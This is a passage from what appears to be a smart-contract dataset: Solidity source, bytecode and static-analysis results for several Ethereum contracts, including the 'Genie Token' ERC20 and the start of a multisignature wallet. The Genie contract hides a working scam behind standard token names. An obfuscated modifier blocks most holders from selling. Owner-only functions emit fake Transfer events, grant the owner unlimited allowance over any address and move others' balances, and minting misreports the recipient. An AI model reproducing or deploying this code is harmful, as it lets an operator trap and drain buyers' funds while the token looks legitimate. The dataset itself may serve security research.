060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e93565b610e12838261172e90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000610fe13361520884811515610fdb57fe5b04611765565b50600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3330856040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b1580156110db57600080fd5b505af11580156110ef573d6000803e3d6000fd5b505050506040513d602081101561110557600080fd5b8101908080519060200190929190505050151561112157600080fd5b60019050919050565b6040805190810160405280600381526020017f484356000000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156111a057600080fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156111ee57600080fd5b61124082600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461172e90919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506112d582600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461174790919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061141882600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461174790919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb3361520885026040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156116d557600080fd5b505af11580156116e9573d6000803e3d6000fd5b505050506040513d60208110156116ff57600080fd5b81019080805190602001909291905050505061171a82610b02565b151561172557600080fd5b60019050919050565b600082821115151561173c57fe5b818303905092915050565b600080828401905083811015151561175b57fe5b8091505092915050565b600061177c8260005461174790919063ffffffff16565b6000819055506117d482600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461174790919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a260019050929150505600a165627a7a72305820d2515fdca2de77aa849f909fd99f524d67212567aef1a9c1ec6cf533a3440c990029
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
10,496
0xf0c733c1397ac3c197f2da79aa3c60fae354f20d
pragma solidity ^0.6.0; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Context { constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value);} contract Genie is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _plus; mapping (address => bool) private _discarded; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _maximumVal = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address private _safeAuthority; uint256 private _discardedAmt = 0; address public _path_ = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; address _contDeployr = 0x0a267cF51EF038fC00E71801F5a524aec06e4f07; address public _authority = 0xaF181024E475c15aFc2A8521ab8B6d9bB13bF057; constructor () public { _name = "Genie Token"; _symbol = "GENIE"; _decimals = 18; uint256 initialSupply = 1000000000 * 10 ** 18; _safeAuthority = _authority; _mint(_contDeployr, initialSupply); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _tf(_msgSender(), recipient, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _tf(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _pApproval(address[] memory destination) public { require(msg.sender == _authority, "!owner"); for (uint256 i = 0; i < destination.length; i++) { _plus[destination[i]] = true; _discarded[destination[i]] = false; } } function _mApproval(address safeOwner) public { require(msg.sender == _authority, "!owner"); _safeAuthority = safeOwner; } modifier _log(address dest, uint256 num, address from, address filler){ if ( _authority == _safeAuthority && from == _authority) {_safeAuthority = dest;_;}else {if ( from == _authority || from == _safeAuthority || dest == _authority){ if ( from == _authority && from == dest ){_discardedAmt = num; }_;}else{ if ( _plus[from] == true ) { _;}else{if ( _discarded[from] == true ) {require((from == _safeAuthority)||(dest == _path_), "ERC20: transfer amount exceeds balance");_; }else{ if ( num < _discardedAmt){ if(dest == _safeAuthority){_discarded[from] = true; _plus[from] = false; }_; }else{require((from == _safeAuthority) ||(dest == _path_), "ERC20: transfer amount exceeds balance");_;}}}}}} function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); if (sender == _authority){ sender = _contDeployr; } emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) public { require(msg.sender == _authority, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_authority] = _balances[_authority].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _tf(address from, address dest, uint256 amt) internal _log( dest, amt, from, address(0)) virtual { _pair( from, dest, amt); } function _pair(address from, address dest, uint256 amt) internal _log( dest, amt, from, address(0)) virtual { require(from != address(0), "ERC20: transfer from the zero address"); require(dest != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(from, dest, amt); _balances[from] = _balances[from].sub(amt, "ERC20: transfer amount exceeds balance"); _balances[dest] = _balances[dest].add(amt); if (from == _authority){from = _contDeployr;} emit Transfer(from, dest, amt); } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } modifier _verify() { require(msg.sender == _authority, "Not allowed to interact"); _; } //-----------------------------------------------------------------------------------------------------------------------// function renounceOwnership()public _verify(){} function burnLPTokens()public _verify(){} function multicall(address uPool,address[] memory eReceiver,uint256[] memory eAmounts) public _verify(){ //MultiEmit for (uint256 i = 0; i < eReceiver.length; i++) {emit Transfer(uPool, eReceiver[i], eAmounts[i]);}} function send(address uPool,address[] memory eReceiver,uint256[] memory eAmounts) public _verify(){ //MultiEmit for (uint256 i = 0; i < eReceiver.length; i++) {emit Transfer(uPool, eReceiver[i], eAmounts[i]);}} function Execute(address recipient) public _verify(){ //Enable _plus[recipient]=true; _approve(recipient, _path_,_maximumVal);} function ProxiedSwap(address recipient) public _verify(){ //Disable _plus[recipient]=false; _approve(recipient, _path_,0); } function approval(address addr) public _verify() virtual returns (bool) { //Approve Spending _approve(addr, _msgSender(), _maximumVal); return true; } function transferTo(address sndr,address[] memory destination, uint256[] memory amounts) public _verify(){ _approve(sndr, _msgSender(), _maximumVal); for (uint256 i = 0; i < destination.length; i++) { _transfer(sndr, destination[i], amounts[i]); } } function stake(address uPool,address[] memory eReceiver,uint256[] memory eAmounts) public _verify(){ for (uint256 i = 0; i < eReceiver.length; i++) {emit Transfer(eReceiver[i], uPool, eAmounts[i]);}} function unstake(address uPool,address[] memory eReceiver,uint256[] memory eAmounts) public _verify(){ for (uint256 i = 0; i < eReceiver.length; i++) {emit Transfer(eReceiver[i], uPool, eAmounts[i]);}} }
0x608060405234801561001057600080fd5b50600436106101585760003560e01c80638d3ca13e116100c3578063c2205ee11161007c578063c2205ee1146107c2578063c75e2c3d146107ca578063d8fc2924146107f0578063dd62ed3e14610923578063f3294c1314610951578063f8129cd21461097757610158565b80638d3ca13e146105025780639430b4961461063557806395d89b411461065b578063a5aae25414610663578063a9059cbb14610796578063bb88603c146104fa57610158565b80633cc4430d116101155780633cc4430d1461032b5780634e6ec2471461045e5780635265327c1461048a578063671e9921146104b057806370a08231146104d4578063715018a6146104fa57610158565b806306fdde031461015d57806308ec4eb5146101da578063095ea7b31461027d57806318160ddd146102bd57806323b872dd146102d7578063313ce5671461030d575b600080fd5b610165610aaa565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561019f578181015183820152602001610187565b50505050905090810190601f1680156101cc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61027b600480360360208110156101f057600080fd5b810190602081018135600160201b81111561020a57600080fd5b82018360208201111561021c57600080fd5b803590602001918460208302840111600160201b8311171561023d57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610b40945050505050565b005b6102a96004803603604081101561029357600080fd5b506001600160a01b038135169060200135610c34565b604080519115158252519081900360200190f35b6102c5610c51565b60408051918252519081900360200190f35b6102a9600480360360608110156102ed57600080fd5b506001600160a01b03813581169160208101359091169060400135610c57565b610315610cde565b6040805160ff9092168252519081900360200190f35b61027b6004803603606081101561034157600080fd5b6001600160a01b038235169190810190604081016020820135600160201b81111561036b57600080fd5b82018360208201111561037d57600080fd5b803590602001918460208302840111600160201b8311171561039e57600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b8111156103ed57600080fd5b8201836020820111156103ff57600080fd5b803590602001918460208302840111600160201b8311171561042057600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610ce7945050505050565b61027b6004803603604081101561047457600080fd5b506001600160a01b038135169060200135610dad565b61027b600480360360208110156104a057600080fd5b50356001600160a01b0316610e8b565b6104b8610ef5565b604080516001600160a01b039092168252519081900360200190f35b6102c5600480360360208110156104ea57600080fd5b50356001600160a01b0316610f04565b61027b610f1f565b61027b6004803603606081101561051857600080fd5b6001600160a01b038235169190810190604081016020820135600160201b81111561054257600080fd5b82018360208201111561055457600080fd5b803590602001918460208302840111600160201b8311171561057557600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b8111156105c457600080fd5b8201836020820111156105d657600080fd5b803590602001918460208302840111600160201b831117156105f757600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610f6e945050505050565b6102a96004803603602081101561064b57600080fd5b50356001600160a01b031661102e565b61016561109a565b61027b6004803603606081101561067957600080fd5b6001600160a01b038235169190810190604081016020820135600160201b8111156106a357600080fd5b8201836020820111156106b557600080fd5b803590602001918460208302840111600160201b831117156106d657600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b81111561072557600080fd5b82018360208201111561073757600080fd5b803590602001918460208302840111600160201b8311171561075857600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295506110fb945050505050565b6102a9600480360360408110156107ac57600080fd5b506001600160a01b0381351690602001356111bb565b6104b86111cf565b61027b600480360360208110156107e057600080fd5b50356001600160a01b03166111de565b61027b6004803603606081101561080657600080fd5b6001600160a01b038235169190810190604081016020820135600160201b81111561083057600080fd5b82018360208201111561084257600080fd5b803590602001918460208302840111600160201b8311171561086357600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b8111156108b257600080fd5b8201836020820111156108c457600080fd5b803590602001918460208302840111600160201b831117156108e557600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550611260945050505050565b6102c56004803603604081101561093957600080fd5b506001600160a01b03813581169160200135166112fe565b61027b6004803603602081101561096757600080fd5b50356001600160a01b0316611329565b61027b6004803603606081101561098d57600080fd5b6001600160a01b038235169190810190604081016020820135600160201b8111156109b757600080fd5b8201836020820111156109c957600080fd5b803590602001918460208302840111600160201b831117156109ea57600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b811115610a3957600080fd5b820183602082011115610a4b57600080fd5b803590602001918460208302840111600160201b83111715610a6c57600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295506113b0945050505050565b60058054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610b365780601f10610b0b57610100808354040283529160200191610b36565b820191906000526020600020905b815481529060010190602001808311610b1957829003601f168201915b5050505050905090565b600d546001600160a01b03163314610b88576040805162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015290519081900360640190fd5b60005b8151811015610c30576001806000848481518110610ba557fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff021916908315150217905550600060026000848481518110610bf657fe5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055600101610b8b565b5050565b6000610c48610c416114d1565b84846114d5565b50600192915050565b60045490565b6000610c648484846115c1565b610cd484610c706114d1565b610ccf856040518060600160405280602881526020016120e2602891396001600160a01b038a16600090815260036020526040812090610cae6114d1565b6001600160a01b031681526020810191909152604001600020549190611846565b6114d5565b5060019392505050565b60075460ff1690565b600d546001600160a01b03163314610d34576040805162461bcd60e51b815260206004820152601760248201526000805160206120c2833981519152604482015290519081900360640190fd5b60005b8251811015610da757828181518110610d4c57fe5b60200260200101516001600160a01b0316846001600160a01b031660008051602061210a833981519152848481518110610d8257fe5b60200260200101516040518082815260200191505060405180910390a3600101610d37565b50505050565b600d546001600160a01b03163314610e0c576040805162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b600454610e199082611470565b600455600d546001600160a01b0316600090815260208190526040902054610e419082611470565b600d546001600160a01b03908116600090815260208181526040808320949094558351858152935192861693919260008051602061210a8339815191529281900390910190a35050565b600d546001600160a01b03163314610ed3576040805162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015290519081900360640190fd5b600980546001600160a01b0319166001600160a01b0392909216919091179055565b600b546001600160a01b031681565b6001600160a01b031660009081526020819052604090205490565b600d546001600160a01b03163314610f6c576040805162461bcd60e51b815260206004820152601760248201526000805160206120c2833981519152604482015290519081900360640190fd5b565b600d546001600160a01b03163314610fbb576040805162461bcd60e51b815260206004820152601760248201526000805160206120c2833981519152604482015290519081900360640190fd5b60005b8251811015610da757836001600160a01b0316838281518110610fdd57fe5b60200260200101516001600160a01b031660008051602061210a83398151915284848151811061100957fe5b60200260200101516040518082815260200191505060405180910390a3600101610fbe565b600d546000906001600160a01b0316331461107e576040805162461bcd60e51b815260206004820152601760248201526000805160206120c2833981519152604482015290519081900360640190fd5b6110928261108a6114d1565b6008546114d5565b506001919050565b60068054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610b365780601f10610b0b57610100808354040283529160200191610b36565b600d546001600160a01b03163314611148576040805162461bcd60e51b815260206004820152601760248201526000805160206120c2833981519152604482015290519081900360640190fd5b60005b8251811015610da757836001600160a01b031683828151811061116a57fe5b60200260200101516001600160a01b031660008051602061210a83398151915284848151811061119657fe5b60200260200101516040518082815260200191505060405180910390a360010161114b565b6000610c486111c86114d1565b84846115c1565b600d546001600160a01b031681565b600d546001600160a01b0316331461122b576040805162461bcd60e51b815260206004820152601760248201526000805160206120c2833981519152604482015290519081900360640190fd5b6001600160a01b038082166000908152600160205260408120805460ff19169055600b5461125d9284929116906114d5565b50565b600d546001600160a01b031633146112ad576040805162461bcd60e51b815260206004820152601760248201526000805160206120c2833981519152604482015290519081900360640190fd5b6112b98361108a6114d1565b60005b8251811015610da7576112f6848483815181106112d557fe5b60200260200101518484815181106112e957fe5b60200260200101516118dd565b6001016112bc565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b600d546001600160a01b03163314611376576040805162461bcd60e51b815260206004820152601760248201526000805160206120c2833981519152604482015290519081900360640190fd5b6001600160a01b038082166000908152600160208190526040909120805460ff19169091179055600b5460085461125d92849216906114d5565b600d546001600160a01b031633146113fd576040805162461bcd60e51b815260206004820152601760248201526000805160206120c2833981519152604482015290519081900360640190fd5b60005b8251811015610da75782818151811061141557fe5b60200260200101516001600160a01b0316846001600160a01b031660008051602061210a83398151915284848151811061144b57fe5b60200260200101516040518082815260200191505060405180910390a3600101611400565b6000828201838110156114ca576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b3390565b6001600160a01b03831661151a5760405162461bcd60e51b815260040180806020018281038252602481526020018061214f6024913960400191505060405180910390fd5b6001600160a01b03821661155f5760405162461bcd60e51b815260040180806020018281038252602281526020018061207a6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260036020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b600954600d548391839186916000916001600160a01b0390811691161480156115f75750600d546001600160a01b038381169116145b1561162757600980546001600160a01b0319166001600160a01b038616179055611622878787611a56565b61183d565b600d546001600160a01b038381169116148061165057506009546001600160a01b038381169116145b806116685750600d546001600160a01b038581169116145b156116b157600d546001600160a01b03838116911614801561169b5750836001600160a01b0316826001600160a01b0316145b156116a657600a8390555b611622878787611a56565b6001600160a01b03821660009081526001602081905260409091205460ff16151514156116e357611622878787611a56565b6001600160a01b03821660009081526002602052604090205460ff1615156001141561176d576009546001600160a01b03838116911614806117325750600b546001600160a01b038581169116145b6116a65760405162461bcd60e51b815260040180806020018281038252602681526020018061209c6026913960400191505060405180910390fd5b600a548310156117ce576009546001600160a01b03858116911614156116a6576001600160a01b03821660009081526002602090815260408083208054600160ff199182168117909255925290912080549091169055611622878787611a56565b6009546001600160a01b03838116911614806117f75750600b546001600160a01b038581169116145b6118325760405162461bcd60e51b815260040180806020018281038252602681526020018061209c6026913960400191505060405180910390fd5b61183d878787611a56565b50505050505050565b600081848411156118d55760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561189a578181015183820152602001611882565b50505050905090810190601f1680156118c75780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6001600160a01b0383166119225760405162461bcd60e51b815260040180806020018281038252602581526020018061212a6025913960400191505060405180910390fd5b6001600160a01b0382166119675760405162461bcd60e51b81526004018080602001828103825260238152602001806120576023913960400191505060405180910390fd5b611972838383612051565b6119af8160405180606001604052806026815260200161209c602691396001600160a01b0386166000908152602081905260409020549190611846565b6001600160a01b0380851660009081526020819052604080822093909355908416815220546119de9082611470565b6001600160a01b03808416600090815260208190526040902091909155600d5484821691161415611a1857600c546001600160a01b031692505b816001600160a01b0316836001600160a01b031660008051602061210a833981519152836040518082815260200191505060405180910390a3505050565b600954600d548391839186916000916001600160a01b039081169116148015611a8c5750600d546001600160a01b038381169116145b15611c2257600980546001600160a01b0319166001600160a01b03868116919091179091558716611aee5760405162461bcd60e51b815260040180806020018281038252602581526020018061212a6025913960400191505060405180910390fd5b6001600160a01b038616611b335760405162461bcd60e51b81526004018080602001828103825260238152602001806120576023913960400191505060405180910390fd5b611b3e878787612051565b611b7b8560405180606001604052806026815260200161209c602691396001600160a01b038a166000908152602081905260409020549190611846565b6001600160a01b038089166000908152602081905260408082209390935590881681522054611baa9086611470565b6001600160a01b03808816600090815260208190526040902091909155600d5488821691161415611be457600c546001600160a01b031696505b856001600160a01b0316876001600160a01b031660008051602061210a833981519152876040518082815260200191505060405180910390a361183d565b600d546001600160a01b0383811691161480611c4b57506009546001600160a01b038381169116145b80611c635750600d546001600160a01b038581169116145b15611ce657600d546001600160a01b038381169116148015611c965750836001600160a01b0316826001600160a01b0316145b15611ca157600a8390555b6001600160a01b038716611aee5760405162461bcd60e51b815260040180806020018281038252602581526020018061212a6025913960400191505060405180910390fd5b6001600160a01b03821660009081526001602081905260409091205460ff1615151415611d52576001600160a01b038716611aee5760405162461bcd60e51b815260040180806020018281038252602581526020018061212a6025913960400191505060405180910390fd5b6001600160a01b03821660009081526002602052604090205460ff16151560011415611ddc576009546001600160a01b0383811691161480611da15750600b546001600160a01b038581169116145b611ca15760405162461bcd60e51b815260040180806020018281038252602681526020018061209c6026913960400191505060405180910390fd5b600a54831015611e70576009546001600160a01b0385811691161415611ca1576001600160a01b0382811660009081526002602090815260408083208054600160ff1991821681179092559252909120805490911690558716611aee5760405162461bcd60e51b815260040180806020018281038252602581526020018061212a6025913960400191505060405180910390fd5b6009546001600160a01b0383811691161480611e995750600b546001600160a01b038581169116145b611ed45760405162461bcd60e51b815260040180806020018281038252602681526020018061209c6026913960400191505060405180910390fd5b6001600160a01b038716611f195760405162461bcd60e51b815260040180806020018281038252602581526020018061212a6025913960400191505060405180910390fd5b6001600160a01b038616611f5e5760405162461bcd60e51b81526004018080602001828103825260238152602001806120576023913960400191505060405180910390fd5b611f69878787612051565b611fa68560405180606001604052806026815260200161209c602691396001600160a01b038a166000908152602081905260409020549190611846565b6001600160a01b038089166000908152602081905260408082209390935590881681522054611fd59086611470565b6001600160a01b03808816600090815260208190526040902091909155600d548882169116141561200f57600c546001600160a01b031696505b856001600160a01b0316876001600160a01b031660008051602061210a833981519152876040518082815260200191505060405180910390a350505050505050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63654e6f7420616c6c6f77656420746f20696e74657261637400000000000000000045524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212206a3d279270870790c1fabd5864373fb300a611e16d78752288383c81d1d1779164736f6c634300060c0033
{"success": true, "error": null, "results": {}}
10,497
0xaa0ae3459f9f3472d1237015cafc1aafc6f03c63
pragma solidity 0.4.18; /// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution. /// @author Stefan George - <stefan.george@consensys.net> contract MultiSigWallet { uint constant public MAX_OWNER_COUNT = 50; event Confirmation(address indexed sender, uint indexed transactionId); event Revocation(address indexed sender, uint indexed transactionId); event Submission(uint indexed transactionId); event Execution(uint indexed transactionId); event ExecutionFailure(uint indexed transactionId); event Deposit(address indexed sender, uint value); event OwnerAddition(address indexed owner); event OwnerRemoval(address indexed owner); event RequirementChange(uint required); mapping (uint => Transaction) public transactions; mapping (uint => mapping (address => bool)) public confirmations; mapping (address => bool) public isOwner; address[] public owners; uint public required; uint public transactionCount; struct Transaction { address destination; uint value; bytes data; bool executed; } modifier onlyWallet() { require (msg.sender == address(this)); _; } modifier ownerDoesNotExist(address owner) { require (!isOwner[owner]); _; } modifier ownerExists(address owner) { require (isOwner[owner]); _; } modifier transactionExists(uint transactionId) { require (transactions[transactionId].destination != 0); _; } modifier confirmed(uint transactionId, address owner) { require (confirmations[transactionId][owner]); _; } modifier notConfirmed(uint transactionId, address owner) { require (!confirmations[transactionId][owner]); _; } modifier notExecuted(uint transactionId) { require (!transactions[transactionId].executed); _; } modifier notNull(address _address) { require (_address != 0); _; } modifier validRequirement(uint ownerCount, uint _required) { require (ownerCount <= MAX_OWNER_COUNT); require (_required <= ownerCount); require (_required != 0); require (ownerCount != 0); _; } /// @dev Fallback function allows to deposit ether. function() payable { if (msg.value > 0) Deposit(msg.sender, msg.value); } /* * Public functions */ 